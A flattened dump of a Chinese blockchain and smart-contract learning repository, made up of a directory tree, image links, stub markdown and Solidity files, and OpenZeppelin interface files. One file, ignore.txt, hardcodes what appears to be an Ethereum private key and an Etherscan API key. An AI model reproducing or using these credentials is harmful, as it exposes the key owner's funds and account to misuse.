├── gamefi_overview.md ├── ipfs_filecoin_overview.md ├── defi_overview.md ├── images ├── pbft.jpg ├── dag_block.jpg ├── hash_tree.jpg ├── iota_dag.png ├── casper_arch.jpg ├── ether_units.png ├── merkle_tree.jpg ├── quorum_arch.png ├── web3.0_arch.jpg ├── bitcoin_raw_tx.jpg ├── bitcoin_tx_fee.jpg ├── consensus_alg.jpg ├── ethereum_arch.jpg ├── hash_func_cmp.png ├── quorum_arch2.jpeg ├── yuyanji_arch.jpg ├── bitcoin_sys_arch.jpg ├── bitcoin_tx_trail.jpg ├── block_structure.png ├── blockchain_layer.jpg ├── ethereum_tx_call.jpg ├── baizhanting_problem.jpg ├── bitcoin_lock_script.png ├── bitcoin_tx_script_1.png ├── bitcoin_tx_script_2.png ├── electrum_wallet_1.jpg ├── electrum_wallet_req.jpg ├── smart_contract_arch.jpg ├── bitcoin_block_detail.jpg ├── bitcoin_feature_arch.jpg ├── bitcoin_genesis_block.jpg ├── bitcoin_p2pkh_process.gif ├── bitcoin_tx_one_input.jpg ├── bitcoin_tx_one_output.jpg ├── blockchain_fin_scene.jpeg ├── block_structure_merkel.png ├── casper_checkpoint_tree.jpg ├── electrum_wallet_got_coin.jpg ├── electrum_wallet_send_btc.jpg ├── electrum_wallet_sent_btc.jpg ├── electrum_wallet_testnet.jpg ├── electrum_wallet_tx_acked.jpg ├── ethereum_block_structure.png ├── ethereum_opcodes_example.jpg ├── nft-ecosystem-overview.png ├── electrum_wallet_input_addr.jpg ├── electrum_wallet_invalid_tx.jpg ├── electrum_wallet_tx_detail.jpg ├── smart_contract_xingshihuayanz.jpg ├── opinion_for_libra_from_national.jpg ├── Data-structure-of-the-Bitcoin-blockchain.png ├── anonymous_protect_for_partition_consensus.jpg ├── ethereum_uncle_block_ref_motivation_rule.png ├── Transactions-input-and-output-in-blockchain.png ├── Blockchain-represented-as-Linked-List-Data-Structure.png └── The-structure-of-a-Blockchain-A-block-is-composed-of-a-header-and-a-body-where-a-header.png ├── learn_smartcontract ├── defi_series │ └── learn_project_uniswap │ │ └── README.md ├── other │ ├── package.json │ ├── images │ │ ├── metadata_contract.webp │ │ └── erc721a_mint_fee_cmp.jpg │ ├── upgrade_contract │ │ ├── hardhat.config.js │ │ ├── package.json │ │ ├── scripts │ │ │ ├── upgrade_box.js │ │ │ ├── deploy_upgradeable_box.js │ │ │ └── deploy_upgradeable_adminbox.js │ │ ├── contracts │ │ │ ├── Box.sol │ │ │ ├── BoxV2.sol │ │ │ └── AdminBox.sol │ │ └── test │ │ │ └── all.js │ ├── security_coding.md │ ├── skilled_coding.md │ └── learn_famous_project_code.md ├── nft_beginner_series │ ├── README.md │ └── 2.write_an_nft_contract │ │ ├── images │ │ ├── alchemy_dashboard.jpg │ │ ├── opensea_testnet_nft.jpg │ │ ├── etherscan_contract_withdraw.jpg │ │ ├── etherscan_deployed_contract.jpg │ │ └── etherscan_contract_connect_wallet.jpg │ │ ├── ignore.txt │ │ ├── package.json │ │ ├── contracts │ │ └── Lock.sol │ │ ├── scripts │ │ ├── deploy.js │ │ └── run.js │ │ └── hardhat.config.js └── nft_series │ └── erc_contracts_example │ └── erc20.sol ├── test_solidity ├── package.json ├── solidity_dev_group.jpg ├── node_modules │ ├── @openzeppelin │ │ └── contracts │ │ │ ├── interfaces │ │ │ ├── IERC20.sol │ │ │ ├── IERC721.sol │ │ │ ├── IERC777.sol │ │ │ ├── IERC1155.sol │ │ │ ├── IERC165.sol │ │ │ ├── IERC777Sender.sol │ │ │ ├── IERC721Receiver.sol │ │ │ ├── IERC777Recipient.sol │ │ │ ├── IERC1155Receiver.sol │ │ │ ├── IERC20Metadata.sol │ │ │ ├── IERC1820Registry.sol │ │ │ ├── IERC721Metadata.sol │ │ │ ├── IERC3156.sol │ │ │ ├── IERC721Enumerable.sol │ │ │ ├── IERC1820Implementer.sol │ │ │ ├── IERC1155MetadataURI.sol │ │ │ ├── draft-IERC2612.sol │ │ │ ├── IERC2309.sol │ │ │ ├── IERC1271.sol │ │ │ ├── draft-IERC1822.sol │ │ │ ├── IERC2981.sol │ │ │ ├── IERC3156FlashBorrower.sol │ │ │ ├── IERC1363Spender.sol │ │ │ ├── IERC1363Receiver.sol │ │ │ └── IERC3156FlashLender.sol │ │ │ ├── crosschain │ │ │ ├── errors.sol │ │ │ ├── amb │ │ │ │ └── LibAMB.sol │ │ │ ├── optimism │ │ │ │ ├── LibOptimism.sol │ │ │ │ └── CrossChainEnabledOptimism.sol │ │ │ ├── arbitrum │ │ │ │ ├── CrossChainEnabledArbitrumL2.sol │ │ │ │ ├── CrossChainEnabledArbitrumL1.sol │ │ │ │ ├── LibArbitrumL1.sol │ │ │ │ └── LibArbitrumL2.sol │ │ │ └── CrossChainEnabled.sol │ │ │ ├── utils │ │ │ ├── cryptography │ │ │ │ ├── draft-EIP712.sol │ │ │ │ └── SignatureChecker.sol │ │ │ ├── Multicall.sol │ │ │ ├── introspection │ │ │ │ ├── IERC1820Implementer.sol │ │ │ │ ├── IERC165.sol │ │ │ │ ├── ERC165.sol │ │ │ │ ├── ERC165Storage.sol │ │ │ │ └── ERC1820Implementer.sol │ │ │ ├── Context.sol │ │ │ ├── escrow │ │ │ │ └── ConditionalEscrow.sol │ │ │ ├── math │ │ │ │ ├── SignedMath.sol │ │ │ │ └── SignedSafeMath.sol │ │ │ ├── Counters.sol │ │ │ └── structs │ │ │ │ └── BitMaps.sol │ │ │ ├── build │ │ │ └── contracts │ │ │ │ ├── Context.json │ │ │ │ ├── EIP712.json │ │ │ │ ├── ReentrancyGuard.json │ │ │ │ ├── CrossChainEnabled.json │ │ │ │ ├── CrossChainEnabledOptimism.json │ │ │ │ ├── CrossChainEnabledArbitrumL1.json │ │ │ │ ├── CrossChainEnabledArbitrumL2.json │ │ │ │ ├── Proxy.json │ │ │ │ ├── IBeacon.json │ │ │ │ ├── Initializable.json │ │ │ │ ├── IERC1822Proxiable.json │ │ │ │ ├── Arrays.json │ │ │ │ ├── Base64.json │ │ │ │ ├── Clones.json │ │ │ │ ├── Math.json │ │ │ │ ├── Timers.json │ │ │ │ ├── Address.json │ │ │ │ ├── Counters.json │ │ │ │ ├── Create2.json │ │ │ │ ├── Strings.json │ │ │ │ ├── BitMaps.json │ │ │ │ ├── ECDSA.json │ │ │ │ ├── LibAMB.json │ │ │ │ ├── SafeCast.json │ │ │ │ ├── SafeMath.json │ │ │ │ ├── Checkpoints.json │ │ │ │ ├── SignedMath.json │ │ │ │ ├── StorageSlot.json │ │ │ │ ├── SafeERC20.json │ │ │ │ ├── EnumerableMap.json │ │ │ │ ├── EnumerableSet.json │ │ │ │ ├── LibOptimism.json │ │ │ │ ├── MerkleProof.json │ │ │ │ ├── SignedSafeMath.json │ │ │ │ ├── ERC165Checker.json │ │ │ │ ├── LibArbitrumL1.json │ │ │ │ ├── ERC165.json │ │ │ │ ├── Multicall.json │ │ │ │ ├── IERC165.json │ │ │ │ ├── SignatureChecker.json │ │ │ │ ├── ERC2771Context.json │ │ │ │ ├── ERC165Storage.json │ │ │ │ ├── IERC1271.json │ │ │ │ ├── IFxMessageProcessor.json │ │ │ │ ├── IERC1820Implementer.json │ │ │ │ ├── DoubleEndedQueue.json │ │ │ │ ├── IERC1363Spender.json │ │ │ │ ├── CrossChainEnabledPolygonChild.json │ │ │ │ ├── CrossChainEnabledAMB.json │ │ │ │ ├── PullPayment.json │ │ │ │ ├── IERC2309.json │ │ │ │ ├── IDelayedMessageProvider.json │ │ │ │ ├── IERC1363Receiver.json │ │ │ │ ├── IERC721Receiver.json │ │ │ │ ├── Pausable.json │ │ │ │ ├── LibArbitrumL2.json │ │ │ │ ├── IERC777Sender.json │ │ │ │ ├── IERC777Recipient.json │ │ │ │ ├── IERC3156FlashBorrower.json │ │ │ │ ├── ERC1967Upgrade.json │ │ │ │ ├── ERC2981.json │ │ │ │ ├── IERC2981.json │ │ │ │ ├── Ownable.json │ │ │ │ └── ERC1820Implementer.json │ │ │ ├── token │ │ │ ├── ERC721 │ │ │ │ ├── extensions │ │ │ │ │ ├── draft-ERC721Votes.sol │ │ │ │ │ ├── IERC721Metadata.sol │ │ │ │ │ ├── ERC721Burnable.sol │ │ │ │ │ ├── IERC721Enumerable.sol │ │ │ │ │ ├── ERC721Pausable.sol │ │ │ │ │ ├── ERC721Votes.sol │ │ │ │ │ └── ERC721Royalty.sol │ │ │ │ ├── utils │ │ │ │ │ └── ERC721Holder.sol │ │ │ │ └── IERC721Receiver.sol │ │ │ ├── ERC1155 │ │ │ │ ├── utils │ │ │ │ │ ├── ERC1155Receiver.sol │ │ │ │ │ └── ERC1155Holder.sol │ │ │ │ └── extensions │ │ │ │ │ ├── IERC1155MetadataURI.sol │ │ │ │ │ ├── ERC1155Burnable.sol │ │ │ │ │ └── ERC1155Pausable.sol │ │ │ ├── ERC20 │ │ │ │ ├── extensions │ │ │ │ │ ├── IERC20Metadata.sol │ │ │ │ │ ├── ERC20Pausable.sol │ │ │ │ │ ├── ERC20Capped.sol │ │ │ │ │ └── ERC20Burnable.sol │ │ │ │ └── presets │ │ │ │ │ └── ERC20PresetFixedSupply.sol │ │ │ └── ERC777 │ │ │ │ ├── presets │ │ │ │ └── ERC777PresetFixedSupply.sol │ │ │ │ ├── IERC777Recipient.sol │ │ │ │ └── IERC777Sender.sol │ │ │ ├── vendor │ │ │ ├── polygon │ │ │ │ └── IFxMessageProcessor.sol │ │ │ ├── arbitrum │ │ │ │ └── IDelayedMessageProvider.sol │ │ │ ├── optimism │ │ │ │ └── ICrossDomainMessenger.sol │ │ │ └── amb │ │ │ │ └── IAMB.sol │ │ │ ├── proxy │ │ │ ├── beacon │ │ │ │ └── IBeacon.sol │ │ │ └── ERC1967 │ │ │ │ └── ERC1967Proxy.sol │ │ │ ├── governance │ │ │ └── extensions │ │ │ │ ├── GovernorProposalThreshold.sol │ │ │ │ ├── IGovernorTimelock.sol │ │ │ │ ├── GovernorVotesComp.sol │ │ │ │ └── GovernorVotes.sol │ │ │ ├── package.json │ │ │ ├── access │ │ │ ├── IAccessControlEnumerable.sol │ │ │ └── AccessControlCrossChain.sol │ │ │ └── metatx │ │ │ └── ERC2771Context.sol │ └── .package-lock.json ├── 0x00_learn_bytecode.sol ├── learn_bytecode │ ├── Example.bin-runtime │ ├── Example.bin │ └── Example.opcode ├── package-lock.json ├── 1_simple_readwrite.sol ├── basic_exercises │ ├── lesson9_controllStatement.sol │ ├── lesson12_event.sol │ ├── lesson7_conversion.sol │ ├── lesson16_library.sol │ └── lesson11_modifier.sol ├── bug4_txorigin.sol └── bug2_num_overflow.sol ├── jobs.md ├── .idea ├── vcs.xml ├── .gitignore ├── modules.xml ├── learn_blockchain.iml └── inspectionProfiles │ └── Project_Default.xml ├── .gitignore ├── test_ethereum ├── data │ └── keystore │ │ ├── UTC--2022-11-21T10-50-50.928604000Z--bb2903b12126d4dc8ef38230703d19a1ca6c72f1 │ │ └── UTC--2022-11-22T00-57-49.288745000Z--901640a6cd1b4ac1f47d6cd93b50143e2053ef87 └── genesis.json └── blockchain_faq.md /gamefi_overview.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ipfs_filecoin_overview.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /defi_overview.md: -------------------------------------------------------------------------------- 1 | # DeFi全了解 2 | 3 | -------------------------------------------------------------------------------- /images/pbft.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/pbft.jpg -------------------------------------------------------------------------------- /learn_smartcontract/defi_series/learn_project_uniswap/README.md: -------------------------------------------------------------------------------- 1 | ## Learn Project Uniswap 2 | 3 | -------------------------------------------------------------------------------- /images/dag_block.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/dag_block.jpg -------------------------------------------------------------------------------- /images/hash_tree.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/hash_tree.jpg -------------------------------------------------------------------------------- /images/iota_dag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/iota_dag.png -------------------------------------------------------------------------------- /images/casper_arch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/casper_arch.jpg -------------------------------------------------------------------------------- /images/ether_units.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/ether_units.png -------------------------------------------------------------------------------- /images/merkle_tree.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/merkle_tree.jpg -------------------------------------------------------------------------------- /images/quorum_arch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/quorum_arch.png -------------------------------------------------------------------------------- /images/web3.0_arch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/web3.0_arch.jpg -------------------------------------------------------------------------------- /images/bitcoin_raw_tx.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_raw_tx.jpg -------------------------------------------------------------------------------- /images/bitcoin_tx_fee.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_tx_fee.jpg -------------------------------------------------------------------------------- /images/consensus_alg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/consensus_alg.jpg -------------------------------------------------------------------------------- /images/ethereum_arch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/ethereum_arch.jpg -------------------------------------------------------------------------------- /images/hash_func_cmp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/hash_func_cmp.png -------------------------------------------------------------------------------- /images/quorum_arch2.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/quorum_arch2.jpeg -------------------------------------------------------------------------------- /images/yuyanji_arch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/yuyanji_arch.jpg -------------------------------------------------------------------------------- /images/bitcoin_sys_arch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_sys_arch.jpg -------------------------------------------------------------------------------- /images/bitcoin_tx_trail.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_tx_trail.jpg -------------------------------------------------------------------------------- /images/block_structure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/block_structure.png -------------------------------------------------------------------------------- /images/blockchain_layer.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/blockchain_layer.jpg -------------------------------------------------------------------------------- /images/ethereum_tx_call.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/ethereum_tx_call.jpg -------------------------------------------------------------------------------- /test_solidity/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "@openzeppelin/contracts": "^4.8.0" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /images/baizhanting_problem.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/baizhanting_problem.jpg -------------------------------------------------------------------------------- /images/bitcoin_lock_script.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_lock_script.png -------------------------------------------------------------------------------- /images/bitcoin_tx_script_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_tx_script_1.png -------------------------------------------------------------------------------- /images/bitcoin_tx_script_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_tx_script_2.png -------------------------------------------------------------------------------- /images/electrum_wallet_1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_1.jpg -------------------------------------------------------------------------------- /images/electrum_wallet_req.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_req.jpg -------------------------------------------------------------------------------- /images/smart_contract_arch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/smart_contract_arch.jpg -------------------------------------------------------------------------------- /images/bitcoin_block_detail.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_block_detail.jpg -------------------------------------------------------------------------------- /images/bitcoin_feature_arch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_feature_arch.jpg -------------------------------------------------------------------------------- /images/bitcoin_genesis_block.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_genesis_block.jpg -------------------------------------------------------------------------------- /images/bitcoin_p2pkh_process.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_p2pkh_process.gif -------------------------------------------------------------------------------- /images/bitcoin_tx_one_input.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_tx_one_input.jpg -------------------------------------------------------------------------------- /images/bitcoin_tx_one_output.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/bitcoin_tx_one_output.jpg -------------------------------------------------------------------------------- /images/blockchain_fin_scene.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/blockchain_fin_scene.jpeg -------------------------------------------------------------------------------- /images/block_structure_merkel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/block_structure_merkel.png -------------------------------------------------------------------------------- /images/casper_checkpoint_tree.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/casper_checkpoint_tree.jpg -------------------------------------------------------------------------------- /images/electrum_wallet_got_coin.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_got_coin.jpg -------------------------------------------------------------------------------- /images/electrum_wallet_send_btc.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_send_btc.jpg -------------------------------------------------------------------------------- /images/electrum_wallet_sent_btc.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_sent_btc.jpg -------------------------------------------------------------------------------- /images/electrum_wallet_testnet.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_testnet.jpg -------------------------------------------------------------------------------- /images/electrum_wallet_tx_acked.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_tx_acked.jpg -------------------------------------------------------------------------------- /images/ethereum_block_structure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/ethereum_block_structure.png -------------------------------------------------------------------------------- /images/ethereum_opcodes_example.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/ethereum_opcodes_example.jpg -------------------------------------------------------------------------------- /images/nft-ecosystem-overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/nft-ecosystem-overview.png -------------------------------------------------------------------------------- /jobs.md: -------------------------------------------------------------------------------- 1 | 2 | ## 远程岗位 3 | [区块链开发,合约开发等——OpenBlock(币信集团旗下)](https://tk3en79uf0.larksuite.com/docx/JB5fdC2qzoB7XQxAE9SuaaF3sme) 4 | 5 | -------------------------------------------------------------------------------- /images/electrum_wallet_input_addr.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_input_addr.jpg -------------------------------------------------------------------------------- /images/electrum_wallet_invalid_tx.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_invalid_tx.jpg -------------------------------------------------------------------------------- /images/electrum_wallet_tx_detail.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/electrum_wallet_tx_detail.jpg -------------------------------------------------------------------------------- /learn_smartcontract/other/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "devDependencies": { 3 | "@openzeppelin/hardhat-upgrades": "^1.22.1" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /test_solidity/solidity_dev_group.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/test_solidity/solidity_dev_group.jpg -------------------------------------------------------------------------------- /images/smart_contract_xingshihuayanz.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/smart_contract_xingshihuayanz.jpg -------------------------------------------------------------------------------- /images/opinion_for_libra_from_national.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/opinion_for_libra_from_national.jpg -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/README.md: -------------------------------------------------------------------------------- 1 | ## NFT新手教程 2 | 3 | ### 说明 4 | 5 | - **教程一** 6 | - 由名称以0/1/2字符开头的三个子目录组成 7 | - 从0教学【**实现**一个使用生成艺术的NFT项目】 -------------------------------------------------------------------------------- /images/Data-structure-of-the-Bitcoin-blockchain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/Data-structure-of-the-Bitcoin-blockchain.png -------------------------------------------------------------------------------- /images/anonymous_protect_for_partition_consensus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/anonymous_protect_for_partition_consensus.jpg -------------------------------------------------------------------------------- /images/ethereum_uncle_block_ref_motivation_rule.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/ethereum_uncle_block_ref_motivation_rule.png -------------------------------------------------------------------------------- /images/Transactions-input-and-output-in-blockchain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/Transactions-input-and-output-in-blockchain.png -------------------------------------------------------------------------------- /learn_smartcontract/other/images/metadata_contract.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/learn_smartcontract/other/images/metadata_contract.webp -------------------------------------------------------------------------------- /learn_smartcontract/other/images/erc721a_mint_fee_cmp.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/learn_smartcontract/other/images/erc721a_mint_fee_cmp.jpg -------------------------------------------------------------------------------- /images/Blockchain-represented-as-Linked-List-Data-Structure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/Blockchain-represented-as-Linked-List-Data-Structure.png -------------------------------------------------------------------------------- /learn_smartcontract/nft_series/erc_contracts_example/erc20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Apache 2 | pragma solidity ^0.8.0; 3 | 4 | contract E20 { 5 | 6 | constructor () { 7 | 8 | } 9 | } -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/alchemy_dashboard.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/alchemy_dashboard.jpg -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC20/IERC20.sol"; 7 | -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/opensea_testnet_nft.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/opensea_testnet_nft.jpg -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC721.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC721/IERC721.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC777.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC777.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC777/IERC777.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC1155.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC1155/IERC1155.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC165.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../utils/introspection/IERC165.sol"; 7 | -------------------------------------------------------------------------------- /images/The-structure-of-a-Blockchain-A-block-is-composed-of-a-header-and-a-body-where-a-header.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/images/The-structure-of-a-Blockchain-A-block-is-composed-of-a-header-and-a-body-where-a-header.png -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/ignore.txt: -------------------------------------------------------------------------------- 1 | const ETH_ACCOUNT_PRI_KEY = '2ecf1f16b9dd012c2f737d0307aac4b17fed602a3a1dfdfebb04f0a7ca89ede5' 2 | // etherscan api private key 3 | const ETHERSCAN_API_KEY = 'VGDVCY4EB8UAG4W9R9JYKV4PJCZA7MFCQP' -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/etherscan_contract_withdraw.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/etherscan_contract_withdraw.jpg -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/etherscan_deployed_contract.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/etherscan_deployed_contract.jpg -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC777Sender.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Sender.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC777/IERC777Sender.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC721Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Receiver.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC721/IERC721Receiver.sol"; 7 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC777Recipient.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Recipient.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC777/IERC777Recipient.sol"; 7 | -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/etherscan_contract_connect_wallet.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chaseSpace/learn_blockchain/HEAD/learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/images/etherscan_contract_connect_wallet.jpg 